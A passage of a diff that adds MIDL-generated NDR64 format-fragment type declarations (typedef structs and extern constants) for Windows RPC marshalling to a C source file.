struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag2217_t; +extern const __midl_frag2217_t __midl_frag2217; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2213_t; +extern const __midl_frag2213_t __midl_frag2213; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2212_t; +extern const __midl_frag2212_t __midl_frag2212; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2209_t; +extern const __midl_frag2209_t __midl_frag2209; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag2205_t; +extern const __midl_frag2205_t __midl_frag2205; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2203_t; +extern const __midl_frag2203_t __midl_frag2203; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2202_t; +extern const __midl_frag2202_t __midl_frag2202; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2200_t; +extern const __midl_frag2200_t __midl_frag2200; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2199_t; +extern const __midl_frag2199_t __midl_frag2199; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_MEMPAD_FORMAT frag13; + struct _NDR64_BUFFER_ALIGN_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + } frag2; +} +__midl_frag2198_t; +extern const __midl_frag2198_t __midl_frag2198; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2197_t; +extern const __midl_frag2197_t __midl_frag2197; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2196_t; +extern const __midl_frag2196_t __midl_frag2196; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2195_t; +extern const __midl_frag2195_t __midl_frag2195; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2194_t; +extern const __midl_frag2194_t __midl_frag2194; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2188_t; +extern const __midl_frag2188_t __midl_frag2188; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2187_t; +extern const __midl_frag2187_t __midl_frag2187; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2186_t; +extern const __midl_frag2186_t __midl_frag2186; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag2185_t; +extern const __midl_frag2185_t __midl_frag2185; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag2181_t; +extern const __midl_frag2181_t __midl_frag2181; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag2176_t; +extern const __midl_frag2176_t __midl_frag2176; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2175_t; +extern const __midl_frag2175_t __midl_frag2175; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2173_t; +extern const __midl_frag2173_t __midl_frag2173; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2172_t; +extern const __midl_frag2172_t __midl_frag2172; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2171_t; +extern const __midl_frag2171_t __midl_frag2171; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2170_t; +extern const __midl_frag2170_t __midl_frag2170; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2168_t; +extern const __midl_frag2168_t __midl_frag2168; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2164_t; +extern const __midl_frag2164_t __midl_frag2164; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2161_t; +extern const __midl_frag2161_t __midl_frag2161; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag2152_t; +extern const __midl_frag2152_t __midl_frag2152; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + struct _NDR64_NO_REPEAT_FORMAT frag10; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11; + struct _NDR64_POINTER_FORMAT frag12; + struct _NDR64_NO_REPEAT_FORMAT frag13; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag14; + struct _NDR64_POINTER_FORMAT frag15; + struct _NDR64_NO_REPEAT_FORMAT frag16; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag17; + struct _NDR64_POINTER_FORMAT frag18; + struct _NDR64_NO_REPEAT_FORMAT frag19; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag20; + struct _NDR64_POINTER_FORMAT frag21; + struct _NDR64_NO_REPEAT_FORMAT frag22; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag23; + struct _NDR64_POINTER_FORMAT frag24; + struct _NDR64_NO_REPEAT_FORMAT frag25; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag26; + struct _NDR64_POINTER_FORMAT frag27; + struct _NDR64_NO_REPEAT_FORMAT frag28; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag29; + struct _NDR64_POINTER_FORMAT frag30; + struct _NDR64_NO_REPEAT_FORMAT frag31; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag32; + struct _NDR64_POINTER_FORMAT frag33; + struct _NDR64_NO_REPEAT_FORMAT frag34; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag35; + struct _NDR64_POINTER_FORMAT frag36; + struct _NDR64_NO_REPEAT_FORMAT frag37; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag38; + struct _NDR64_POINTER_FORMAT frag39; + struct _NDR64_NO_REPEAT_FORMAT frag40; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag41; + struct _NDR64_POINTER_FORMAT frag42; + struct _NDR64_NO_REPEAT_FORMAT frag43; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag44; + struct _NDR64_POINTER_FORMAT frag45; + struct _NDR64_NO_REPEAT_FORMAT frag46; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag47; + struct _NDR64_POINTER_FORMAT frag48; + struct _NDR64_NO_REPEAT_FORMAT frag49; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag50; + struct _NDR64_POINTER_FORMAT frag51; + struct _NDR64_NO_REPEAT_FORMAT frag52; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag53; + struct _NDR64_POINTER_FORMAT frag54; + struct _NDR64_NO_REPEAT_FORMAT frag55; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag56; + struct _NDR64_POINTER_FORMAT frag57; + struct _NDR64_NO_REPEAT_FORMAT frag58; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag59; + struct _NDR64_POINTER_FORMAT frag60; + struct _NDR64_NO_REPEAT_FORMAT frag61; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag62; + struct _NDR64_POINTER_FORMAT frag63; + struct _NDR64_NO_REPEAT_FORMAT frag64; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag65; + struct _NDR64_POINTER_FORMAT frag66; + struct _NDR64_NO_REPEAT_FORMAT frag67; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag68; + struct _NDR64_POINTER_FORMAT frag69; + struct _NDR64_NO_REPEAT_FORMAT frag70; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag71; + struct _NDR64_POINTER_FORMAT frag72; + struct _NDR64_NO_REPEAT_FORMAT frag73; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag74; + struct _NDR64_POINTER_FORMAT frag75; + NDR64_FORMAT_CHAR frag76; + } frag2; +} +__midl_frag2123_t; +extern const __midl_frag2123_t __midl_frag2123; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2122_t; +extern const __midl_frag2122_t __midl_frag2122; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2121_t; +extern const __midl_frag2121_t __midl_frag2121; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag2117_t; +extern const __midl_frag2117_t __midl_frag2117; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2116_t; +extern const __midl_frag2116_t __midl_frag2116; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2114_t; +extern const __midl_frag2114_t __midl_frag2114; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2113_t; +extern const __midl_frag2113_t __midl_frag2113; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2112_t; +extern const __midl_frag2112_t __midl_frag2112; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2111_t; +extern const __midl_frag2111_t __midl_frag2111; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2109_t; +extern const __midl_frag2109_t __midl_frag2109; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag2087_t; +extern const __midl_frag2087_t __midl_frag2087; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; +} +__midl_frag2083_t; +extern const __midl_frag2083_t __midl_frag2083; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_MEMPAD_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + } frag2; +} +__midl_frag2076_t; +extern const __midl_frag2076_t __midl_frag2076; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2075_t; +extern const __midl_frag2075_t __midl_frag2075; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2074_t; +extern const __midl_frag2074_t __midl_frag2074; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2066_t; +extern const __midl_frag2066_t __midl_frag2066; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2054_t; +extern const __midl_frag2054_t __midl_frag2054; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2049_t; +extern const __midl_frag2049_t __midl_frag2049; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2048_t; +extern const __midl_frag2048_t __midl_frag2048; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2047_t; +extern const __midl_frag2047_t __midl_frag2047; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2046_t; +extern const __midl_frag2046_t __midl_frag2046; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2039_t; +extern const __midl_frag2039_t __midl_frag2039; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2038_t; +extern const __midl_frag2038_t __midl_frag2038; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2037_t; +extern const __midl_frag2037_t __midl_frag2037; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag2035_t; +extern const __midl_frag2035_t __midl_frag2035; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag2017_t; +extern const __midl_frag2017_t __midl_frag2017; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2008_t; +extern const __midl_frag2008_t __midl_frag2008; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1983_t; +extern const __midl_frag1983_t __midl_frag1983; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1976_t; +extern const __midl_frag1976_t __midl_frag1976; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1971_t; +extern const __midl_frag1971_t __midl_frag1971; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1970_t; +extern const __midl_frag1970_t __midl_frag1970; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1969_t; +extern const __midl_frag1969_t __midl_frag1969; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1965_t; +extern const __midl_frag1965_t __midl_frag1965; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1955_t; +extern const __midl_frag1955_t __midl_frag1955; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1948_t; +extern const __midl_frag1948_t __midl_frag1948; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1942_t; +extern const __midl_frag1942_t __midl_frag1942; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1925_t; +extern const __midl_frag1925_t __midl_frag1925; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1921_t; +extern const __midl_frag1921_t __midl_frag1921; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1920_t; +extern const __midl_frag1920_t __midl_frag1920; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1918_t; +extern const __midl_frag1918_t __midl_frag1918; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1914_t; +extern const __midl_frag1914_t __midl_frag1914; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1913_t; +extern const __midl_frag1913_t __midl_frag1913; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1912_t; +extern const __midl_frag1912_t __midl_frag1912; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1908_t; +extern const __midl_frag1908_t __midl_frag1908; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1907_t; +extern const __midl_frag1907_t __midl_frag1907; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1906_t; +extern const __midl_frag1906_t __midl_frag1906; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1905_t; +extern const __midl_frag1905_t __midl_frag1905; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1904_t; +extern const __midl_frag1904_t __midl_frag1904; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1903_t; +extern const __midl_frag1903_t __midl_frag1903; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1902_t; +extern const __midl_frag1902_t __midl_frag1902; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1896_t; +extern const __midl_frag1896_t __midl_frag1896; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1895_t; +extern const __midl_frag1895_t __midl_frag1895; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1894_t; +extern const __midl_frag1894_t __midl_frag1894; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1891_t; +extern const __midl_frag1891_t __midl_frag1891; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1890_t; +extern const __midl_frag1890_t __midl_frag1890; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1889_t; +extern const __midl_frag1889_t __midl_frag1889; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1886_t; +extern const __midl_frag1886_t __midl_frag1886; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1885_t; +extern const __midl_frag1885_t __midl_frag1885; + 